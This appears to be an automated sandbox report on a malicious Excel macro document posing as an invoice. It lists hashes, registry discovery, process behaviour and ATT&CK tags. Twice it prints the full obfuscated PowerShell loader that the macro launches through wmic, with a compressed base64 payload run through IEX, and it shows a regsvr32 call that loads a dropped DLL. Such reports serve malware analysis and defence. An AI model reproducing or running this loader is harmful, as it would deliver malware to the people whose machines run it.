75b230a41dcadada3c53b50a675360a71c19d282eb0de3824fa867274d74ba6e

Analysis

max time kernel
138s
max time network
148s
platform
windows10_x64
resource
win10v200430
submitted
13/07/2020, 14:26

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General

Target

Invoice_711246_Inc.xlsm
Size

33KB
MD5

5b9436ae9c52fe45b7b6a25f6427e7e6
SHA1

e618db4bcfd5f324bdba3db7652069b51d7683b6
SHA256

75b230a41dcadada3c53b50a675360a71c19d282eb0de3824fa867274d74ba6e
SHA512

b2fa420e10f11fbe67c1f9b7642f7db67a7241c3c055c258152ece1f7f8709195e8e94928b97c357046c2a1054f9500999e5165936217570c40f81d89ef1baa4

Score

10^/10

Malware Config

Signatures

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	1840	pOwershElL.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1484	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1484 wrote to memory of 1564	1484	EXCEL.EXE	74
PID 1484 wrote to memory of 1564	1484	EXCEL.EXE	74
PID 1840 wrote to memory of 3956	1840	pOwershElL.exe	79
PID 1840 wrote to memory of 3956	1840	pOwershElL.exe	79

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1564	wmic.exe
Token: SeSecurityPrivilege	1564	wmic.exe
Token: SeTakeOwnershipPrivilege	1564	wmic.exe
Token: SeLoadDriverPrivilege	1564	wmic.exe
Token: SeSystemProfilePrivilege	1564	wmic.exe
Token: SeSystemtimePrivilege	1564	wmic.exe
Token: SeProfSingleProcessPrivilege	1564	wmic.exe
Token: SeIncBasePriorityPrivilege	1564	wmic.exe
Token: SeCreatePagefilePrivilege	1564	wmic.exe
Token: SeBackupPrivilege	1564	wmic.exe
Token: SeRestorePrivilege	1564	wmic.exe
Token: SeShutdownPrivilege	1564	wmic.exe
Token: SeDebugPrivilege	1564	wmic.exe
Token: SeSystemEnvironmentPrivilege	1564	wmic.exe
Token: SeRemoteShutdownPrivilege	1564	wmic.exe
Token: SeUndockPrivilege	1564	wmic.exe
Token: SeManageVolumePrivilege	1564	wmic.exe
Token: 33	1564	wmic.exe
Token: 34	1564	wmic.exe
Token: 35	1564	wmic.exe
Token: 36	1564	wmic.exe
Token: SeIncreaseQuotaPrivilege	1564	wmic.exe
Token: SeSecurityPrivilege	1564	wmic.exe
Token: SeTakeOwnershipPrivilege	1564	wmic.exe
Token: SeLoadDriverPrivilege	1564	wmic.exe
Token: SeSystemProfilePrivilege	1564	wmic.exe
Token: SeSystemtimePrivilege	1564	wmic.exe
Token: SeProfSingleProcessPrivilege	1564	wmic.exe
Token: SeIncBasePriorityPrivilege	1564	wmic.exe
Token: SeCreatePagefilePrivilege	1564	wmic.exe
Token: SeBackupPrivilege	1564	wmic.exe
Token: SeRestorePrivilege	1564	wmic.exe
Token: SeShutdownPrivilege	1564	wmic.exe
Token: SeDebugPrivilege	1564	wmic.exe
Token: SeSystemEnvironmentPrivilege	1564	wmic.exe
Token: SeRemoteShutdownPrivilege	1564	wmic.exe
Token: SeUndockPrivilege	1564	wmic.exe
Token: SeManageVolumePrivilege	1564	wmic.exe
Token: 33	1564	wmic.exe
Token: 34	1564	wmic.exe
Token: 35	1564	wmic.exe
Token: 36	1564	wmic.exe
Token: SeDebugPrivilege	1840	pOwershElL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE
1484	EXCEL.EXE

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1564	1484	wmic.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	2684	pOwershElL.exe	69

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1840	pOwershElL.exe
1840	pOwershElL.exe
1840	pOwershElL.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice_711246_Inc.xlsm"
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1484
- C:\Windows\System32\Wbem\wmic.exe
  wmic pROcesS call CREATE "pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  PID:1564

C:\Windows\System32\WindowsPowerShell\v1.0\pOwershElL.exe
pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")
1⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1840
- C:\Windows\system32\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\acrocef.
  2⤵
  PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1484-3-0x0000018FE61E1000-0x0000018FE61E6000-memory.dmp

Filesize
20KB

Download